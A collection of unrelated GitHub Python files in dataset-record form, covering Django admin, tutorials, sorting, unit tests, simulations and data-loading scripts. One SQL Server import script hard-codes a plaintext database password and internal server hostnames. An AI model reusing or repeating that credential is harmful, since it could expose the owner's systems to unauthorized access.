student_2]\nlecturer_list = [lecturer_1, lecturer_2, lecturer_3]\n\ndef average_students (student, courses):\n    s=0\n    for i in student:\n        if isinstance(i, Student) and courses in i.grades:\n            s += sum(i.grades[courses])/len(i.grades[courses])\n        else: \n            print('Ошибка при вводе данных')\n    so = s/len(student)\n    print(f'Средняя оценка студентов курса {courses}: {so:0.1f}')\n\ndef average_lecturer (lecturer, courses):\n    s=0\n    for i in lecturer:\n        if isinstance(i, Lecturer) and courses in i.grades:\n            s += sum(i.grades[courses])/len(i.grades[courses])\n        else: \n            print('Ошибка при вводе данных')\n    so = s/len(lecturer)\n    print(f'Средняя оценка лекторов курса {courses}: {so:0.1f}')\n\n#Итог\nprint(super_reviewer)\nprint()\nprint(lecturer_1)\nprint()\nprint(lecturer_2)\nprint()\nprint(lecturer_3)\nprint()\nprint(student_1)\nprint()\nprint(student_2)\nprint()\nprint(student_2 < student_1)\nprint()\nprint(student_2 > student_1)\nprint(student_2 < student_1)\nprint(student_2 == student_1)\nprint()\nprint(lecturer_2 > lecturer_1)\nprint(student_2 < lecturer_1)\nprint(lecturer_2 > lecturer_3)\nprint(lecturer_2 == lecturer_3)\nprint()\naverage_students(student_list, 'Основы языка Python')\nprint()\naverage_lecturer(lecturer_list, 'Git-система контроля версий')\nprint()\nprint()","repo_name":"fasca23/dr_7","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":9396,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"23530536235","text":"from django.contrib import admin\n\nfrom .models import (\n    Article,\n    Category,\n    IPAddress,\n    Comment,\n    Message,\n)\n\n# Admin header change\nadmin.site.site_header = \"Django Blog\"\n\n\n# Register your models here.\ndef make_published(modeladmin, request, queryset):\n    rows_updated = queryset.update(status='p')\n    message_bit = \"Published\"\n    modeladmin.message_user(request, \"{} article {}\".format(rows_updated, message_bit))\n\n\nmake_published.short_description = \"Publish selected articles\"\n\n\ndef make_draft(modeladmin, request, queryset):\n    rows_updated = queryset.update(status='d')\n    message_bit = \"Drafted\"\n    modeladmin.message_user(request, \"{} article {}\".format(rows_updated, message_bit))\n\n\nmake_draft.short_description = \"Draft selected articles\"\n\n\nclass CategoryAdmin(admin.ModelAdmin):\n    list_display = ('position', 'title', 'slug', 'parent', 'status')\n    list_filter = (['status'])\n    search_fields = ('title', 'slug')\n    prepopulated_fields = {'slug': ('title',)}\n\n\nadmin.site.register(Category, CategoryAdmin)\n\n\nclass ArticleAdmin(admin.ModelAdmin):\n    list_display = ('title', 'thumbnail_tag', 'slug', 'author', 'publish', 'is_special', 'status', 'category_to_str')\n    list_filter = ('publish', 'status', 'author')\n    search_fields = ('title', 'description')\n    prepopulated_fields = {'slug': ('title',)}\n    ordering = ['-status', '-publish']\n    actions = [make_published, make_draft]\n\n\nadmin.site.register(Article, ArticleAdmin)\nadmin.site.register(IPAddress)\nadmin.site.register(Comment)\nadmin.site.register(Message)\n","repo_name":"AlirezaAbavi/DjangoBlog","sub_path":"blog/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"14693394051","text":"#Check whether a given number is Aliquot Number or not.\n\nnum = int(input(\"Enter a Number:\"))\ndef aliquot(x):\n    l=[]\n    for i in range(1,x):\n        if x%i==0:\n            l.append(i)\n        k=sum(l)\n    if k==x:\n        return True\n    else:\n        return False\n    \nif aliquot(num)==True:\n    print(\"Aliquot\")\nelse:\n    print(\"Not aliquot\")\n\n","repo_name":"raichalvarghese/Python","sub_path":"aliquot_numbers.py","file_name":"aliquot_numbers.py","file_ext":"py","file_size_in_byte":348,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"1384613587","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\ncss_samples = {\n        'css1':\n'''\n.aclass, .anotherclass {}\n#anid {}\n*[class=equalclass] {}\n*[class=\"equal class\"] {}\nh1.aclass + p.yetanotherclass[class|=startorequal] {}\n*[class~=wholenameclass] {}\n*[class^=startswithclass] {}\n*[class^='startswith class'] {}\n*[class$=endswithclass] {}\n*[class$=\"ends with class\"] {}\n*[class*=containsclass] {}\n*[class*='contains class'] {}\n''',\n        'css2':\n'''\na.gibb,{}\n'''\n}\n\nmarkup_samples = {\n    'xhtml1':\n'''\n<?xml version=\"1.0\" encoding=\"UTF-8\" ?>\n<html>\n  <head>\n    <style>\n      .definedinstyleclass {}\n    </style>\n  </head>\n  <body>\n    <p class=\"aclass anotherclass\">first <a href=\"section0001.xhtml#someanchor\" id=\"anid\">par</a></p>\n    <p class=\"undefinedclass definedinstyleclass\">second par</p>\n    <p id=\"undefinedid\">third par</p>\n    <p class=\"aclass\"><a id=\"someanchor\">anchor</a></p>\n  </body>\n</html>\n''',\n\n    'xhtml1_before_deletions':\n'''\n<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<html>\n  <head>\n    <style>\n      .definedinstyleclass {}\n    </style>\n  </head>\n  <body>\n    <p class=\"aclass anotherclass\">first <a href=\"section0001.xhtml#someanchor\" id=\"anid\">par</a></p>\n    <p class=\"undefinedclass definedinstyleclass\">second par</p>\n    <p id=\"undefinedid\">third par</p>\n    <p class=\"aclass\"><a id=\"someanchor\">anchor</a></p>\n  </body>\n</html>\n''',\n\n    'xhtml1_after_deletions':\n'''\n<?xml version=\"1.0\" encoding=\"utf-8\" ?>\n<html>\n  <head>\n    <style>\n      .definedinstyleclass {}\n    </style>\n  </head>\n  <body>\n    <p class=\"aclass anotherclass\">first <a href=\"section0001.xhtml#someanchor\" id=\"anid\">par</a></p>\n    <p class=\"definedinstyleclass\">second par</p>\n    <p>third par</p>\n    <p class=\"aclass\"><a id=\"someanchor\">anchor</a></p>\n  </body>\n</html>\n''',\n\n    'media_overlays1':\n'''\n<smil xmlns=\"http://www.w3.org/ns/SMIL\" xmlns:epub=\"http://www.idpf.org/2007/ops\" version=\"3.0\">\n  <body>\n    <seq id=\"seq_id\" epub:textref=\"Section0003.xhtml#ch3_figure1\" epub:type=\"figure\">\n      <par id=\"par1_id\">\n        <text src=\"Section0003.xhtml#ch3_figure1_title\"/>\n        <audio src=\"Section0003.mp3\" clipBegin=\"0:13:10.000\" clipEnd=\"0:13:19.724\"/>\n      </par>\n      <par id=\"par2_id\">\n        <text src=\"Section0003.xhtml#ch3_figure1_caption\"/>\n        <audio src=\"Section0003.mp3\" clipBegin=\"0:13:19.724\" clipEnd=\"0:13:28.401\"/>\n      </par>\n      <par id=\"par3_id\">\n        <text src=\"Section0003.xhtml#ch3_figure1_text1\"/>\n        <audio src=\"Section0003.mp3\" clipBegin=\"0:13:28.401\" clipEnd=\"0:15:01.992\"/>\n      </par>\n      <par id=\"par4_id\">\n        <text src=\"Section0003.xhtml#ch3_figure1_text2\"/>\n        <audio src=\"Section0003.mp3\" clipBegin=\"0:15:01.992\" clipEnd=\"0:15:55.482\"/>\n      </par>\n    </seq>\n  </body>\n</smil>\n'''\n}","repo_name":"wrCisco/SigilPlugin_cssUndefinedClasses","sub_path":"tests/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":2766,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"5905820324","text":"# -*- coding: utf-8 -*-\r\n\r\nimport vpython as vp \r\n\r\n# Torsional pendulum snake \r\n\r\nclass TorsionalPendulum:\r\n    '''\r\n    For computing rotational pendulum motion of individual rod, with particular \r\n    mass, length, location on y-axis, and starting angle.\r\n    '''\r\n    def __init__(self, mass, length, y_location, init_theta):\r\n        ''' Create object '''\r\n        self.mass = mass\r\n        self.length = length \r\n        self.y_location = y_location \r\n\r\n        # Moment of inertia \r\n        self.inertia = 1/12. * self.mass * self.length**2\r\n        # Initialize angular position theta \r\n        self.theta = init_theta * vp.pi/180  # convert to radians \r\n        # Initialize angular velocity omega \r\n        self.omega = init_omega \r\n\r\n        # Initialize vpython objects \r\n        self.rod = vp.cylinder(pos=vp.vector(self.length/2.*vp.cos(self.theta),self.y_location,-self.length/2.*vp.sin(self.theta)),\r\n                               axis=vp.vector(-self.length*vp.cos(self.theta),0,self.length*vp.sin(self.theta)),\r\n                               radius=.25,color=vp.color.red)\r\n        self.string = vp.cylinder(pos=vp.vector(0,-10,0),axis=vp.vector(0,y_step*num_rods+10.,0),radius=.1,color=vp.color.white)\r\n        \r\n    def motion(self, dt):\r\n        ''' Rotate rod in SHM '''\r\n        self.dt = dt \r\n        \r\n        # Update position, omega and alpha\r\n        self.theta += self.omega*dt\r\n        self.alpha = - kappa / self.inertia * self.theta\r\n        self.omega += self.alpha*dt\r\n        \r\n        # Update rod position and axis \r\n        self.rod.pos = vp.vector(self.length/2.*vp.cos(self.theta),self.y_location,-self.length/2.*vp.sin(self.theta))\r\n        self.rod.axis = vp.vector(-self.length*vp.cos(self.theta),0,self.length*vp.sin(self.theta))\r\n        \r\n\r\n''' Input parameters '''\r\n\r\nkappa = 8.     \r\ninit_theta = 30. # cannot be 0 \r\ninit_omega = 0.\r\n\r\nnum_rods = 200\r\nrod_mass = .2\r\nmin_length = 60. \r\nmax_length = 70.\r\n\r\ny_step = 1.5\r\ntheta_step = 0.1 \r\n\r\n\r\n''' Set up scene '''\r\n\r\nscene = vp.canvas(title='Torsional Pendulum',width=1000,height=700,center=vp.vector(y_step*num_rods/2.,0,0))\r\n#scene.camera.pos = vp.vector(0,y_step*num_rods/2.,5.)\r\nscene.camera.pos = vp.vector(70,-100,20)\r\nscene.camera.axis = vp.vector(-50,100,-20)\r\n\r\n\r\n''' Create rods '''\r\n\r\ndef compute_length(y_location):\r\n    # Generate length of ith-rod at y_location, forming a parabolic shape\r\n    # with limits (0,y_step*num_rods), (min_length, max_length)\r\n    y0 = y_step * num_rods  # total length \r\n    a = (max_length - min_length) / (1/4*y0**2)\r\n    b = -a*y0\r\n    c = max_length\r\n    length = a*y_location**2 + b*y_location + c\r\n    return length \r\n\r\nrod_list = []\r\ny_location = 0.\r\n\r\nfor i in range(num_rods):\r\n    y_location += y_step\r\n    length = compute_length(y_location)\r\n    init_theta += theta_step\r\n    rod = TorsionalPendulum(rod_mass, length, y_location, init_theta)\r\n    rod_list.append(rod)\r\n    \r\n\r\n''' Animation '''\r\n\r\ndt = 0.01\r\n\r\nwhile True:\r\n    vp.rate(5000000000)\r\n    for rod in rod_list:\r\n        rod.motion(dt)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"Cheryl-Lau/Torsional_pendulum","sub_path":"Torsional_pendulum.py","file_name":"Torsional_pendulum.py","file_ext":"py","file_size_in_byte":3096,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"12884221100","text":"## Insertion Sort\n\ndef insertionSort(arr):\n    \"\"\"\n    Iteratively performs Insertion Sort with Average runtime = O (n^2)\n    \"\"\"\n    if len(arr)<=1:\n        return arr\n\n    #To begin with, sort the first and second elements\n    if arr[0]> arr[1]:\n        arr[0], arr[1]= arr[1], arr[0]\n\n    print(arr)\n\n    #loop through elements 2 to n for insertion sort\n    for i in range(2, len(arr)):\n        \n        if arr[i]<arr[i-1]:\n            #Loop to insert ith element at it's correct position\n            for j in range(0, i):\n                \n                if arr[i] <= arr[j]:\n                    \n                    temp = arr[i]\n\n                    #insert element in jth position by moving subsequent elements ahead by one position\n                    k = i\n                    while k-1 >=j:\n                        arr[k]=arr[k-1]\n                        k-=1\n                    arr[j]= temp \n            print(arr)\n    \n\n    return arr\n\n\n\ndef main():\n    arr = [39,12,1,44,23,19,21,77,89]\n\n   \n    print(insertionSort(arr))\n\nmain()\n\n\n##### OUTPUT ######\n\n# Original Array:\n# [39,12,1,44,23,19,21,77,89]\n\n# Insertion Sort Output:\n# [12, 39, 1, 44, 23, 19, 21, 77, 89]\n# [1, 12, 39, 44, 23, 19, 21, 77, 89]\n# [1, 12, 23, 39, 44, 19, 21, 77, 89]\n# [1, 12, 19, 23, 39, 44, 21, 77, 89]\n# [1, 12, 19, 21, 23, 39, 44, 77, 89]\n# [1, 12, 19, 21, 23, 39, 44, 77, 89]","repo_name":"ketkiambekar/data-structures-from-scratch","sub_path":"InsertionSort.py","file_name":"InsertionSort.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"41010737365","text":"# coding: utf-8\n\nfrom __future__ import absolute_import\nfrom datetime import date, datetime  # noqa: F401\nfrom typing import List, Dict  # noqa: F401\nfrom application.models.base_model_ import Model\nfrom application.util import util\nfrom application.models.conflict import Conflict\n\n\nclass Result(Model):\n    \"\"\"NOTE: This class is auto generated by the swagger code generator program.\n\n    Do not edit the class manually.\n    \"\"\"\n\n    def __init__(self, utility: float, conflicts: List[Conflict]):  # noqa: E501\n        \"\"\"Result - a model defined in Swagger\n\n        :param utility: The utility value.  # noqa: E501\n        :type utility: float\n        :param conflicts: The list of conflicts.  # noqa: E501\n        :type conflicts: List[Conflict]\n        \"\"\"\n        self.swagger_types = {\n            'utility': float,\n            'conflicts': List[Conflict]\n        }\n\n        self.attribute_map = {\n            'utility': 'utility',\n            'conflicts': 'conflicts'\n        }\n\n        self._utility = utility\n        self._conflicts = conflicts\n\n    @classmethod\n    def from_dict(cls, dikt) -> 'Result':\n        \"\"\"Returns the dict as a model\n\n        :param dikt: A dict.\n        :type: dict\n        :return: The Result of this Result.  # noqa: E501\n        :rtype: Result\n        \"\"\"\n        return util.deserialize_model(dikt, cls)\n\n    @property\n    def utility(self) -> float:\n        \"\"\"Gets the utility.\n\n\n        :return: The utility.\n        :rtype: float\n        \"\"\"\n        return self._utility\n\n    @utility.setter\n    def utility(self, utility: utility):\n        \"\"\"Sets the utility.\n\n\n        :param utility: The utility.\n        :type utility: float\n        \"\"\"\n\n        self._utility = utility\n\n    @property\n    def conflicts(self) -> List[Conflict]:\n        \"\"\"Gets the list of conflicts\n\n\n        :return: The list of conflicts.\n        :rtype: List[Conflict]\n        \"\"\"\n        return self._conflicts\n\n    @conflicts.setter\n    def conflicts(self, conflicts: List[Conflict]):\n        \"\"\"Sets the confidence value\n\n\n        :param conflicts: The conflicts value.\n        :type conflicts: List[Conflict]\n        \"\"\"\n\n        self._conflicts = conflicts\n","repo_name":"OpenReqEU/tug-groupdecision","sub_path":"application/models/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":2183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"73389185040","text":"import logging\nfrom webapp.UsersManager import UsersManager\n\ndef userUpdate(data, current_user):\n    \"\"\"User Update API\n\n    Params:\n        data - User data to update\n        current_user - User object Flask-Login\n\n\n    Return:\n        response - Composed response\n    \"\"\"\n\n    try:\n        manager = UsersManager(current_user)\n\n        if current_user is not None:\n            manager.update(data['name'], data['surname'], data['email'], data['birthdate'])\n  \n    except Exception as api_exception:  \n        logging.error(\"[userUpdate] API error - {}\".format(api_exception))\n   \n","repo_name":"brightdev0101/AnteoAI_python","sub_path":"webapp/API/userUpdate.py","file_name":"userUpdate.py","file_ext":"py","file_size_in_byte":582,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"5879350648","text":"import unittest\nimport os\nfrom blinker import signal\nfrom utils import flash_checker\nfrom time import sleep\n\nTEST_FLASH_FILE = os.path.join('.','test_data','flash')\n\nclass TestFlashChecker(unittest.TestCase):\n    def setUp(self):\n        self.notified = False\n        signal(\"box_flash_detected\").connect(self._flash_notify)\n        self.test_checker = flash_checker.FlashChecker(TEST_FLASH_FILE)\n\n    def tearDown(self):\n        if os.path.exists(TEST_FLASH_FILE):\n            os.remove(TEST_FLASH_FILE)\n\n    def _flash_notify(self, sender):\n        self.notified = True\n\n    def test_no_flash(self):\n        self.test_checker.check_flash_file()\n        self.assertFalse(self.notified)\n        self.assertFalse(self.test_checker.flash_state)\n\n    def test_flash_ok_and_remove(self):\n        with open(TEST_FLASH_FILE, \"w\") as flash_file:\n            flash_file.write(flash_checker.FLASH_STATE_SUCCESSFUL)\n        self.test_checker.check_flash_file()\n        self.assertTrue(self.notified)\n        self.assertEqual(self.test_checker.flash_state, flash_checker.FLASH_STATE_SUCCESSFUL)\n\n        self.notified = False\n        self.test_checker.remove_flash_file()\n        self.assertFalse(self.notified)\n        self.assertFalse(self.test_checker.flash_state)\n        self.assertFalse(os.path.exists(TEST_FLASH_FILE))\n\n    def test_flash_ko(self):\n        with open(TEST_FLASH_FILE, \"w\") as flash_file:\n            flash_file.write(flash_checker.FLASH_STATE_UNSUCCESSFUL)\n        self.test_checker.check_flash_file()\n        self.assertTrue(self.notified)\n        self.assertEqual(self.test_checker.flash_state, flash_checker.FLASH_STATE_UNSUCCESSFUL)\n","repo_name":"stitchEm/stitchEm","sub_path":"lib/bindings/samples/server/test/test_flash_checker.py","file_name":"test_flash_checker.py","file_ext":"py","file_size_in_byte":1649,"program_lang":"python","lang":"en","doc_type":"code","stars":246,"dataset":"github-code","pt":"3"}
+{"seq_id":"74626658001","text":"\"\"\"\nExercise in creating a class and using class methods to work with variable\ndata. The exercise uses class methods, decorators and variables. The end\nresult should be a program that can take user input and present the data\nin useful ways.\n\"\"\"\n\n\nclass Employee:\n    raise_amount = 1.04  # Class variable instead of instance variable.\n    num_of_employed = 0\n\n    def __init__(self, first, last, pay):\n        self.first = first\n        self.last = last\n        self.pay = pay\n        self.email = first + '.' + last + '@company.com'\n\n        Employee.num_of_employed += 1\n\n    # Here we create a method to return a human-readable string.\n    def fullname(self):\n        return '{} {}'.format(self.first, self.last)\n\n    # Here we use the class variable, which must start with the class instance.\n    def apply_raise(self):\n        self.pay = int(self.pay * self.raise_amount)\n\n    # Using a class method with decorator to modify a variable. This will allow\n    # us to change the variable outside of the class definition itself.\n    @classmethod\n    def set_raise_amount(cls, amount):\n        cls.raise_amount = amount\n\n    # Using a class method to parse employee information to aid input.\n    @classmethod\n    def from_string(cls, emp_str):\n        first, last, pay = emp_str.split(', ')\n        return cls(first, last, int(pay))\n\n\n# This is an example of a subclass, using inheritance.\nclass Developer(Employee):\n    def __init__(self, first, last, pay, program_lang):\n        super().__init__(first, last, pay)\n        self.program_lang = program_lang\n\n# When adding a field to the original class, we need to create a new method for it.\n    @classmethod\n    def from_string(cls, emp_str):\n        first, last, pay, program_lang = emp_str.split(', ')\n        return cls(first, last, int(pay), program_lang)\n\n\nclass Manager(Employee):\n    def __init__(self, first, last, pay, employees=None):\n        super().__init__(first, last, pay)\n        if employees is None:\n            self.employees = []\n        else:\n            self.employees = employees\n\n    def add_employee(self, emp):\n        if emp not in self.employees:\n            self.employees.append(emp)\n\n    def remove_employee(self, emp):\n        if emp in self.employees:\n            self.employees.remove(emp)\n\n    def print_employees(self):\n        for emp in self.employees:\n            print('-->', emp.fullname())\n\n\n# These are added directly to the class, showing how tedious it can be this way\nemp_1 = Employee('Corey', 'Shafer', 50000)\nemp_2 = Employee('Linus', 'Torvalds', 120000)\ndev_1 = Developer('Ikey', 'Doherty', 95000, 'C')\ndev_2 = Developer('Dave', 'Edmundson', 90000, 'C++')\nmgr_1 = Manager('Sue', 'Smith', 110000)\n\n\n# This will use the 'from_string' subclass method to make adding easier.\nnew_dev = input(\"Enter a new employee, Last, First, Salary: \")\nemployee_new = Developer.from_string(new_dev)\nmgr_1.add_employee(employee_new)\n\n\nprint(mgr_1.email)\nmgr_1.add_employee(emp_1)\nmgr_1.add_employee(emp_2)\nmgr_1.add_employee(dev_1)\nmgr_1.add_employee(dev_2)\nmgr_1.print_employees()\n","repo_name":"folcraed/pystuff","sub_path":"empl_class.py","file_name":"empl_class.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"22590558860","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri May  5 22:09:26 2023\n\n@author: dale\n\"\"\"\n\nfrom sqlalchemy.orm import Session\nfrom schemas.subscribers import SubscriberCreate\nfrom db.models.subscribers import Subscriber\nimport datetime\n\n\ndef date_handler(obj):\n    if isinstance(obj, datetime.date):\n        return obj.isoformat()\n    else:\n        raise TypeError(\"Type %s not serializable\" % type(obj))\n\ndef create_new_subscriber(\n        subscriber:SubscriberCreate,\n        db:Session):\n    subscriber = Subscriber(\n        email = str(subscriber.email),\n        name = str(subscriber.name),\n        zip_code = str(subscriber.zip_code),\n        phone = str(subscriber.phone),\n        agree_tos=True,\n        date_posted=date_handler(datetime.datetime.now())\n    )\n    try:\n        db.add(subscriber)\n    except:\n        db.rollback()\n    else:\n        db.commit()\n        db.refresh(subscriber)\n    finally:\n        return subscriber\n\n\ndef remove_subscriber(\n        subscriber_email: str,\n        db:Session):\n    subscriber = db.query(\n        Subscriber\n    ).filter(Subscriber.email == subscriber_email).first()\n\n    if subscriber:\n        db.delete(subscriber)\n        db.commit()\n        return {\"email\": subscriber_email}","repo_name":"quaaalud/cannabiscult_v2","sub_path":"backend/db/repository/subscribers.py","file_name":"subscribers.py","file_ext":"py","file_size_in_byte":1248,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"3"}
+{"seq_id":"18467447751","text":"import sqlite3\nimport pickle\nimport pandas as pd\nimport streamlit as st\n\nif __name__ == '__main__':\n    print(\"Hello World!\")\n    # Connect to SQLite database and query table\n    conn = sqlite3.connect('genomes.db')\n    df = pd.read_sql_query('SELECT accession, description, genome_size FROM refseq', conn)\n    print(df)\n    # Create dictionary with accession as key, genome_size as value\n    genome_dict = {}\n    for _, row in df.iterrows():\n        genome_dict[row['accession']] = {\n            'description': row['description'],\n            'genome_size': row['genome_size']\n        }\n    print(genome_dict)\n    # Save dictionary to a pickle file\n    with open('refseq_v2.pkl', 'wb') as f:\n        pickle.dump(genome_dict, f)","repo_name":"thanhleviet/st_estimate_coverage","sub_path":"make_pickle.py","file_name":"make_pickle.py","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"21657209474","text":"import pandas as pd\r\nimport pyodbc\r\nimport datetime\r\nimport sqlalchemy\r\nimport sys\r\n\r\n\r\n# environment: (server, driver, uname, pword, dsn)\r\nenv_info = {'dev': (r'COM-DLKDWD01.SITUSAMC.COM', r'ODBC Driver 17 for SQL Server', r'python', r'FZ9H2Pcg=z%-cf?$', r'DW_DEV_DW_LOAN_VALUATION')\r\n    , 'uat': (r'COM-DWDBU01.SITUSAMC.COM', r'ODBC Driver 17 for SQL Server', r'python' ,r'FZ9H2Pcg=z%-cf?$', r'DW_UAT_DW_LOAN_VALUATION')\r\n    , 'prod': (r'COM-DWAGP01.SITUSAMC.COM', r'SQL Server', r'python', r'FZ9H2Pcg=z%-cf?$', r'DW_PROD_DW_LOAN_VALUATION')\r\n     }\r\n\r\nenv = env_info['prod']\r\ndb = r'DW_LOAN_VALUATION'\r\n\r\nserver = env[0]\r\ndriver = env[1]\r\nuname = env[2]\r\npword = env[3]\r\ndsn = env[4]\r\n\r\ninput_file = r'C:\\Users\\jasonwalker\\OneDrive - SitusAMC\\Documents\\project\\baseline\\stand_alone_file\\pool_level_calc\\IMPORT_FILE\\POOL_LEVEL_CALCS.xlsx'\r\ntarget_schema = 'stage'\r\ntarget_table = 'SRC_POOL_STAT'\r\n\r\nconn01 = pyodbc.connect(\r\n    f\"Driver={driver};\"\r\n    f\"Server={server};\"\r\n    f\"Database={db};\"\r\n    f\"UID={uname};\"\r\n    f\"PWD={pword};\"\r\n    , autocommit=True)\r\n\r\n\r\n# import file into dataframe, prepare dataframe for load\r\ncolumn_name_input = [\r\n    'CUSIP'\r\n    ,'POOL_ID'\r\n    ,'POOL_PREFIX'\r\n    ,'ISSUE_DATE'\r\n    ,'ORIGINAL_AGGREGATE_AMOUNT'\r\n    ,'ISSUER'\r\n    ,'POOL_SEASONING'\r\n]\r\n\r\ndf_input = pd.read_excel(io=input_file, sheet_name='Current Pool Info', header=0, keep_default_na=False, usecols='B,A,C,H,F,BQ,G', names=column_name_input)\r\n\r\ncolumn_new = [\r\n    'POOL_ID'\r\n    ,'CUSIP'\r\n    ,'POOL_PREFIX'\r\n    ,'ISSUER'\r\n    ,'ISSUE_DATE'\r\n    ,'POOL_SEASONING'\r\n    ,'ORIGINAL_AGGREGATE_AMOUNT'\r\n]\r\ndf_insert = df_input[column_new]\r\n\r\nsql_column = f\"\"\"\r\nSELECT\r\n    COLUMN_NAME\r\nFROM INFORMATION_SCHEMA.COLUMNS\r\nWHERE\r\n    TABLE_SCHEMA = '{target_schema}'\r\n    AND TABLE_NAME = '{target_table}'\r\nORDER BY ORDINAL_POSITION\r\n\"\"\"\r\n\r\ntarget_columns = [x[0] for x in pd.read_sql(sql_column, con=conn01).values.tolist()]\r\ninsert_column = ', '.join(target_columns)\r\ntemp_column = ', '.join([x + ' VARCHAR(500)' for x in target_columns])\r\nvalue_placeholder = ', '.join('?' for x in target_columns)\r\n\r\ntemp_table_create_sql = f\"\"\"\r\nCREATE TABLE {target_schema}.{target_table}_TEMP (\r\n{temp_column}\r\n);\r\n\"\"\"\r\n\r\n\r\nwith conn01.cursor() as cursor:\r\n    # DROP TEMP TABLE\r\n    cursor.execute(f'DROP TABLE IF EXISTS {target_schema}.{target_table}_TEMP')\r\n    cursor.commit()\r\n\r\n    # CREATE TEMP TABLE\r\n    cursor.execute(temp_table_create_sql)\r\n    cursor.commit()\r\n\r\n    # INSERT TEMP TABLE FROM DATAFRAME\r\n    engine = sqlalchemy.create_engine(\r\n        f\"mssql+pyodbc://@{dsn}\",\r\n        fast_executemany=True)\r\n\r\n    temp_table = f'{target_table}_TEMP'\r\n    df_insert.to_sql(name=temp_table, con=engine, schema=f'{target_schema}', if_exists='append', index=False)\r\n\r\n    # TRUNCATE TARGET TABLE\r\n    cursor.execute(f'TRUNCATE TABLE {target_schema}.{target_table}')\r\n    cursor.commit()\r\n\r\n    #INSERT INTO TARGET TABLE FROM TEMP TABLE\r\n    insert_sql = f\"\"\"\r\n    INSERT INTO {target_schema}.{target_table} (\r\n    {insert_column}\r\n    )\r\n    SELECT\r\n        {insert_column}\r\n    FROM {target_schema}.{target_table}_TEMP\r\n    \"\"\"\r\n\r\n    cursor.execute(insert_sql)\r\n    cursor.commit()\r\n\r\n    #DROP TEMP TABLE\r\n    cursor.execute(f'DROP TABLE IF EXISTS {target_schema}.{target_table}_TEMP')\r\n    cursor.commit()\r\n\r\nprint('SUCCESS')","repo_name":"primalrun/SitusAMC","sub_path":"import_pool_level_calc.py","file_name":"import_pool_level_calc.py","file_ext":"py","file_size_in_byte":3335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"}
+{"seq_id":"30989594196","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nRestructered on Thu 19 May 2021 21:40\n\n@author: Laurens Stoop - l.p.stoop@uu.nl\n\nFollowing example by Matteo de Felice: http://www.matteodefelice.name/post/aggregating-gridded-data/\n\"\"\"\n\n#%%\n# =============================================================================\n# Dependencies\n# =============================================================================\n\n\n## Importing modules\nimport xarray as xr \nimport numpy as np\nimport regionmask\nimport geopandas as gpd\n# import pandas as pd\nimport matplotlib.pyplot as plt\n\n# Set the path for the data\n\nPATH_TO_NUTS0 = '/media/DataDrive/Other/RegionDefinitions/ENTSO-E_StudyZones/DTU-PECD22-Polygons_SZ_VF2021.shp'\nPATH_TO_NUTS1 = '/media/DataDrive/Other/RegionDefinitions/ENTSO-E_StudyZones/DTU-PECD22-Polygons_VF2021.shp'\n\n# Read NetCDF\nFOLDER_WITH_NETCDF = '/media/DataGate3/ERA5-EU_CF/'\n\n\nprint('NOTIFY: Initialization is complete, Skynet active')\n#%%\n# =============================================================================\n# Load in the base shapefile \n# =============================================================================\n\n# Load the shapefile\nnuts0 = gpd.read_file(PATH_TO_NUTS0)\nnuts1 = gpd.read_file(PATH_TO_NUTS1)\n\n# There is an abandoned LY00 zone in there \n# nuts1.iloc[246]\nnuts1 = nuts1.drop(index=246)\n\n# To check some info you could read the headers of the shapefiles\n# nuts0.head() # to check the contents      --> 121 on-/offshore definitions\n# nuts1.head() # to check the contents      --> 262 on-/offshore definitions\n\n\n#%%\n# =============================================================================\n# Load in the datafiles them self\n# =============================================================================\n\n# Load in the NetCDF\nds = xr.open_mfdataset(FOLDER_WITH_NETCDF+'ERA5-EU_CF_2011.nc') #, chunks = {'time': 8760})\n\n#%%\n# =============================================================================\n# Now we define the regionmask and apply it\n# =============================================================================\n\n# CALCULATE MASK\n# SZ0_mask_poly = regionmask.Regions(name = 'ENTSO-E_StudyZone0_Mask', numbers = list(range(0,121)), abbrevs = list(nuts0['Study Zone']), outlines = list(nuts0.geometry.values[i] for i in range(0,121))) # names = list(nuts0['Study Zone']),\nSZ1_mask_poly = regionmask.Regions(name = 'ENTSO-E_StudyZone1_Mask', numbers = list(range(0,262)), abbrevs = list(nuts1['Code']), outlines = list(nuts1.geometry.values[i] for i in range(0,262))) # names = list(nuts1['Study Zone']),\n# print(nuts_mask_poly)\n\n# Create the mask\nmask = SZ1_mask_poly.mask(ds.isel(time = 0), method = None)\n# mask # To check the contents of the mask defined\n\n# =============================================================================\n# A quick figure for sanity checks\n# =============================================================================\nplt.figure(figsize=(12,8))\nax = plt.axes()\nmask.plot(ax = ax)\nnuts1.plot(ax = ax, alpha = 